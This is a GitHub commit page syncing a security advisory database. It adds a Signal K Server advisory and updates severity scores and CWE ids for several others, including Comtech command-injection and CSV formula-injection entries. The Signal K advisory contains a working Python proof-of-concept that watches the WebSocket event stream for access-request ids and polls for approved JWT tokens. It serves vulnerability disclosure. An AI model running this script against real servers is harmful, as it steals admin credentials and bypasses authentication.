Skip to content

Commit ce24129

Browse files
Advisory Database Sync
1 parent f76bf9c commit ce24129

File tree

49 files changed

+1194
-58
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

49 files changed

+1194
-58
lines changed
Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,69 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-fq56-hvg6-wvm5",
4+
"modified": "2026-01-02T15:28:55Z",
5+
"published": "2026-01-02T15:28:54Z",
6+
"aliases": [
7+
"CVE-2025-68620"
8+
],
9+
"summary": "Signal K Server vulnerable to JWT Token Theft via WebSocket Enumeration and Unauthenticated Polling",
10+
"details": "SignalK Server exposes two features that can be chained together to steal JWT authentication tokens without any prior authentication. The attack combines WebSocket-based request enumeration with unauthenticated polling of access request status.\n\n**Unauthenticated WebSocket Request Enumeration**: When a WebSocket client connects to the SignalK stream endpoint with the `serverevents=all` query parameter, the server sends all cached server events including `ACCESS_REQUEST` events that contain details about pending access requests. The `startServerEvents` function iterates over `app.lastServerEvents` and writes each cached event to any connected client without verifying authorization level. Since WebSocket connections are allowed for readonly users (which includes unauthenticated users when `allow_readonly` is true), attackers receive these events containing request IDs, client identifiers, descriptions, requested permissions, and IP addresses.\n\n**Unauthenticated Token Polling**: The access request status endpoint at `/signalk/v1/access/requests/:id` returns the full state of an access request without requiring authentication. When an administrator approves a request, the response includes the issued JWT token in plaintext. The `queryRequest` function returns the complete request object including the token field, and the REST endpoint uses readonly authentication, allowing unauthenticated access.\n\nAn attacker has two paths to exploit these vulnerabilities:\n\n1. The attacker creates their own access request (using the IP spoofing vulnerability to craft a convincing spoofed request), then polls their own request ID until an administrator approves it, receiving the JWT token.\n\n2. The attacker passively monitors the WebSocket stream to discover request IDs from legitimate devices, then polls those IDs and steals the JWT tokens when administrators approve them, hijacking legitimate device credentials.\n\nBoth paths require zero authentication and enable complete authentication bypass.\n\n### Affected Code\n\n**File**: `src/events.ts` (lines 40-43)\n\n```typescript\nObject.keys(app.lastServerEvents).forEach((propName) => {\n spark.write(app.lastServerEvents[propName])\n})\n```\n\nAll cached server events, including `ACCESS_REQUEST`, are sent to any connected WebSocket client without permission checks.\n\n**File**: `src/tokensecurity.js` (lines 946-948)\n\n```javascript\nstrategy.getAccessRequestsResponse = () => {\n return filterRequests('accessRequest', 'PENDING')\n}\n```\n\nThis function returns all pending requests with full details, which is then broadcast as a server event.\n\n**File**: `src/requestResponse.js` (lines 108-135)\n\n```javascript\nfunction createReply(request, state, props) {\n const reply = {\n state: state,\n requestId: request.requestId\n }\n\n if (request.updateCb) {\n props.forEach((prop) => {\n if (typeof request[prop] !== 'undefined') {\n reply[prop] = request[prop] // Includes 'token' when approved\n }\n })\n }\n return reply\n}\n```\n\nWhen an access request transitions to COMPLETED state with APPROVED permission, the token is included in the reply object.\n\n**File**: `src/interfaces/rest.js` (endpoint registration)\n\nThe `/signalk/v1/access/requests/:id` endpoint uses readonly authentication, allowing unauthenticated access when `allow_readonly` is true.\n\n### Impact\n\nAn attacker can obtain any JWT token issued by the server without authentication. By exploiting the social engineering vulnerability to request admin permissions, they receive a fully privileged admin token granting access to all protected endpoints including package installation, effectively bypassing authentication entirely. Additionally, attackers can hijack legitimate device credentials by stealing tokens intended for real devices.\n\n### PoC\n\n```python\nimport json, websocket, requests, time\n\nTARGET_IP, TARGET_PORT = \"localhost\", 3000\nTARGET_WS = f\"ws://{TARGET_IP}:{TARGET_PORT}\"\nTARGET_HTTP = f\"http://{TARGET_IP}:{TARGET_PORT}\"\n\ndef poll_for_token(request_id, href):\n print(f\"[*] Polling started for request {request_id}\")\n url = f\"{TARGET_HTTP}{href}\"\n while True:\n try:\n r = requests.get(url)\n \n if r.status_code == 200:\n data = r.json()\n state = data.get(\"state\")\n print(f\"[.] Request {request_id} state: {state}\")\n \n if state == \"COMPLETED\":\n access_req = data.get(\"accessRequest\", {})\n permission = access_req.get(\"permission\")\n token = access_req.get(\"token\")\n \n print(f\"[*] Request completed - Permission: {permission}, Token present: {bool(token)}\")\n \n if token:\n print(f\"[+] TOKEN STOLEN\")\n print(f\"[+] Permission: {permission}\")\n print(f\"[+] JWT Token: {token}\")\n return token\n else:\n print(f\"[-] Request {request_id} denied or no token\")\n return None\n else:\n print(f\"[-] HTTP {r.status_code} for request {request_id}\")\n \n except Exception as e:\n print(f\"[-] Error polling {request_id}: {e}\")\n \n time.sleep(5)\n\ndef monitor_and_steal_tokens():\n uri = f\"{TARGET_WS}/signalk/v1/stream?serverevents=all\"\n print(f\"[*] Connecting to {uri}\")\n \n ws = websocket.create_connection(uri)\n print(\"[+] Connected, monitoring for ACCESS_REQUEST events...\")\n \n while True:\n message = ws.recv()\n msg = json.loads(message)\n \n if msg.get(\"type\") == \"ACCESS_REQUEST\":\n print(\"[+] ACCESS_REQUEST event received!\")\n data = msg.get(\"data\", [])\n \n if data:\n req = data[0]\n request_id = req.get('requestId')\n permissions = req.get('clientRequest', {}).get('permissions')\n href = req.get('href', f'/signalk/v1/requests/{request_id}')\n \n print(f\"[*] Found request: {request_id}\")\n print(f\"[*] Closing WebSocket and starting polling...\")\n \n ws.close()\n poll_for_token(request_id, href)\n break\n\nif __name__ == \"__main__\":\n monitor_and_steal_tokens()\n```\n\n### Recommendations\n\n1. Require strict authentication for all WebSocket channels. The `serverevents=all` parameter should only be accessible to authenticated admin users. Unauthenticated or readonly users should not receive any server events.\n2. Place `ACCESS_REQUEST` events behind strict authentication. Even if other server events are available to readonly users, access request details must only be sent to authenticated administrators.\n3. Implement client verification so only the original requester can retrieve their token\n4. Consider delivering tokens through a separate secure channel rather than the polling endpoint",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "signalk-server"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "2.19.0"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/SignalK/signalk-server/security/advisories/GHSA-fq56-hvg6-wvm5"
42+
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68620"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/SignalK/signalk-server/commit/221aff6cd89c56308084d1781b3abbf938605bd3"
50+
},
51+
{
52+
"type": "PACKAGE",
53+
"url": "https://github.com/SignalK/signalk-server"
54+
},
55+
{
56+
"type": "WEB",
57+
"url": "https://github.com/SignalK/signalk-server/releases/tag/v2.19.0"
58+
}
59+
],
60+
"database_specific": {
61+
"cwe_ids": [
62+
"CWE-288"
63+
],
64+
"severity": "CRITICAL",
65+
"github_reviewed": true,
66+
"github_reviewed_at": "2026-01-02T15:28:54Z",
67+
"nvd_published_at": "2026-01-01T19:15:53Z"
68+
}
69+
}

advisories/unreviewed/2022/05/GHSA-33mg-r278-fh2j/GHSA-33mg-r278-fh2j.json

Lines changed: 10 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,13 +1,18 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-33mg-r278-fh2j",
4-
"modified": "2022-05-24T17:05:30Z",
4+
"modified": "2026-01-02T15:30:24Z",
55
"published": "2022-05-24T17:05:30Z",
66
"aliases": [
77
"CVE-2020-5179"
88
],
99
"details": "Comtech Stampede FX-1010 7.4.3 devices allow remote authenticated administrators to execute arbitrary OS commands by navigating to the Diagnostics Ping page and entering shell metacharacters in the Target IP address field. (In some cases, authentication can be achieved with the comtech password for the comtech account.)",
10-
"severity": [],
10+
"severity": [
11+
{
12+
"type": "CVSS_V3",
13+
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"
14+
}
15+
],
1116
"affected": [],
1217
"references": [
1318
{
@@ -24,7 +29,9 @@
2429
}
2530
],
2631
"database_specific": {
27-
"cwe_ids": [],
32+
"cwe_ids": [
33+
"CWE-78"
34+
],
2835
"severity": "HIGH",
2936
"github_reviewed": false,
3037
"github_reviewed_at": null,

advisories/unreviewed/2022/05/GHSA-39xw-g82r-qfvq/GHSA-39xw-g82r-qfvq.json

Lines changed: 10 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,13 +1,18 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-39xw-g82r-qfvq",
4-
"modified": "2022-05-24T17:06:56Z",
4+
"modified": "2026-01-02T15:30:24Z",
55
"published": "2022-05-24T17:06:56Z",
66
"aliases": [
77
"CVE-2020-7242"
88
],
99
"details": "Comtech Stampede FX-1010 7.4.3 devices allow remote authenticated administrators to achieve remote code execution by navigating to the Diagnostics Trace Route page and entering shell metacharacters in the Target IP address field. (In some cases, authentication can be achieved with the comtech password for the comtech account.)",
10-
"severity": [],
10+
"severity": [
11+
{
12+
"type": "CVSS_V3",
13+
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"
14+
}
15+
],
1116
"affected": [],
1217
"references": [
1318
{
@@ -20,7 +25,9 @@
2025
}
2126
],
2227
"database_specific": {
23-
"cwe_ids": [],
28+
"cwe_ids": [
29+
"CWE-78"
30+
],
2431
"severity": "HIGH",
2532
"github_reviewed": false,
2633
"github_reviewed_at": null,

advisories/unreviewed/2022/05/GHSA-qjp3-3g79-p4v7/GHSA-qjp3-3g79-p4v7.json

Lines changed: 10 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,13 +1,18 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-qjp3-3g79-p4v7",
4-
"modified": "2022-05-24T17:06:56Z",
4+
"modified": "2026-01-02T15:30:24Z",
55
"published": "2022-05-24T17:06:56Z",
66
"aliases": [
77
"CVE-2020-7243"
88
],
99
"details": "Comtech Stampede FX-1010 7.4.3 devices allow remote authenticated administrators to achieve remote code execution by navigating to the Fetch URL page and entering shell metacharacters in the URL field. (In some cases, authentication can be achieved with the comtech password for the comtech account.)",
10-
"severity": [],
10+
"severity": [
11+
{
12+
"type": "CVSS_V3",
13+
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"
14+
}
15+
],
1116
"affected": [],
1217
"references": [
1318
{
@@ -20,7 +25,9 @@
2025
}
2126
],
2227
"database_specific": {
23-
"cwe_ids": [],
28+
"cwe_ids": [
29+
"CWE-78"
30+
],
2431
"severity": "HIGH",
2532
"github_reviewed": false,
2633
"github_reviewed_at": null,

advisories/unreviewed/2022/05/GHSA-vmpx-5rfc-fgm5/GHSA-vmpx-5rfc-fgm5.json

Lines changed: 10 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,13 +1,18 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-vmpx-5rfc-fgm5",
4-
"modified": "2022-05-24T17:06:56Z",
4+
"modified": "2026-01-02T15:30:24Z",
55
"published": "2022-05-24T17:06:56Z",
66
"aliases": [
77
"CVE-2020-7244"
88
],
99
"details": "Comtech Stampede FX-1010 7.4.3 devices allow remote authenticated administrators to achieve remote code execution by navigating to the Poll Routes page and entering shell metacharacters in the Router IP Address field. (In some cases, authentication can be achieved with the comtech password for the comtech account.)",
10-
"severity": [],
10+
"severity": [
11+
{
12+
"type": "CVSS_V3",
13+
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"
14+
}
15+
],
1116
"affected": [],
1217
"references": [
1318
{
@@ -20,7 +25,9 @@
2025
}
2126
],
2227
"database_specific": {
23-
"cwe_ids": [],
28+
"cwe_ids": [
29+
"CWE-78"
30+
],
2431
"severity": "HIGH",
2532
"github_reviewed": false,
2633
"github_reviewed_at": null,

advisories/unreviewed/2025/12/GHSA-2rqx-6v8j-7xmq/GHSA-2rqx-6v8j-7xmq.json

Lines changed: 11 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,13 +1,18 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-2rqx-6v8j-7xmq",
4-
"modified": "2025-12-29T21:30:25Z",
4+
"modified": "2026-01-02T15:30:25Z",
55
"published": "2025-12-29T21:30:25Z",
66
"aliases": [
77
"CVE-2024-27480"
88
],
99
"details": "givanz VvvebJs 1.7.2 is vulnerable to Insecure File Upload.",
10-
"severity": [],
10+
"severity": [
11+
{
12+
"type": "CVSS_V3",
13+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
14+
}
15+
],
1116
"affected": [],
1217
"references": [
1318
{
@@ -20,8 +25,10 @@
2025
}
2126
],
2227
"database_specific": {
23-
"cwe_ids": [],
24-
"severity": null,
28+
"cwe_ids": [
29+
"CWE-434"
30+
],
31+
"severity": "CRITICAL",
2532
"github_reviewed": false,
2633
"github_reviewed_at": null,
2734
"nvd_published_at": "2025-12-29T21:15:42Z"

advisories/unreviewed/2025/12/GHSA-4xqm-hx6r-2gp8/GHSA-4xqm-hx6r-2gp8.json

Lines changed: 8 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,13 +1,18 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-4xqm-hx6r-2gp8",
4-
"modified": "2025-12-31T06:30:17Z",
4+
"modified": "2026-01-02T15:30:27Z",
55
"published": "2025-12-31T06:30:17Z",
66
"aliases": [
77
"CVE-2025-13029"
88
],
99
"details": "The Knowband Mobile App Builder WordPress plugin before 3.0.0 does not have authorisation when deleting users via its REST API, allowing unauthenticated attackers to delete arbitrary users.",
10-
"severity": [],
10+
"severity": [
11+
{
12+
"type": "CVSS_V3",
13+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"
14+
}
15+
],
1116
"affected": [],
1217
"references": [
1318
{
@@ -21,7 +26,7 @@
2126
],
2227
"database_specific": {
2328
"cwe_ids": [],
24-
"severity": null,
29+
"severity": "HIGH",
2530
"github_reviewed": false,
2631
"github_reviewed_at": null,
2732
"nvd_published_at": "2025-12-31T06:15:40Z"

advisories/unreviewed/2025/12/GHSA-5frj-g6xc-q6j8/GHSA-5frj-g6xc-q6j8.json

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -46,7 +46,8 @@
4646
],
4747
"database_specific": {
4848
"cwe_ids": [
49-
"CWE-74"
49+
"CWE-74",
50+
"CWE-89"
5051
],
5152
"severity": "MODERATE",
5253
"github_reviewed": false,

advisories/unreviewed/2025/12/GHSA-5rqh-29cg-rcqm/GHSA-5rqh-29cg-rcqm.json

Lines changed: 11 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,13 +1,18 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-5rqh-29cg-rcqm",
4-
"modified": "2025-12-30T21:30:33Z",
4+
"modified": "2026-01-02T15:30:25Z",
55
"published": "2025-12-30T21:30:33Z",
66
"aliases": [
77
"CVE-2025-66723"
88
],
99
"details": "inMusic Brands Engine DJ 4.3.0 suffers from Insecure Permissions due to exposed HTTP service in the Remote Library, which allows attackers to access all files and network paths.",
10-
"severity": [],
10+
"severity": [
11+
{
12+
"type": "CVSS_V3",
13+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
14+
}
15+
],
1116
"affected": [],
1217
"references": [
1318
{
@@ -24,8 +29,10 @@
2429
}
2530
],
2631
"database_specific": {
27-
"cwe_ids": [],
28-
"severity": null,
32+
"cwe_ids": [
33+
"CWE-732"
34+
],
35+
"severity": "HIGH",
2936
"github_reviewed": false,
3037
"github_reviewed_at": null,
3138
"nvd_published_at": "2025-12-30T21:15:44Z"

advisories/unreviewed/2025/12/GHSA-5vw2-j3g7-v489/GHSA-5vw2-j3g7-v489.json

Lines changed: 11 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,13 +1,18 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-5vw2-j3g7-v489",
4-
"modified": "2025-12-30T21:30:32Z",
4+
"modified": "2026-01-02T15:30:25Z",
55
"published": "2025-12-30T21:30:32Z",
66
"aliases": [
77
"CVE-2025-66834"
88
],
99
"details": "A CSV Formula Injection vulnerability in TrueConf Server v5.5.2.10813 allows a normal user to inject malicious spreadsheet formulas into exported chat logs via crafted Display Name.",
10-
"severity": [],
10+
"severity": [
11+
{
12+
"type": "CVSS_V3",
13+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N"
14+
}
15+
],
1116
"affected": [],
1217
"references": [
1318
{
@@ -24,8 +29,10 @@
2429
}
2530
],
2631
"database_specific": {
27-
"cwe_ids": [],
28-
"severity": null,
32+
"cwe_ids": [
33+
"CWE-1236"
34+
],
35+
"severity": "HIGH",
2936
"github_reviewed": false,
3037
"github_reviewed_at": null,
3138
"nvd_published_at": "2025-12-30T19:15:44Z"

0 commit comments

Comments
 (0)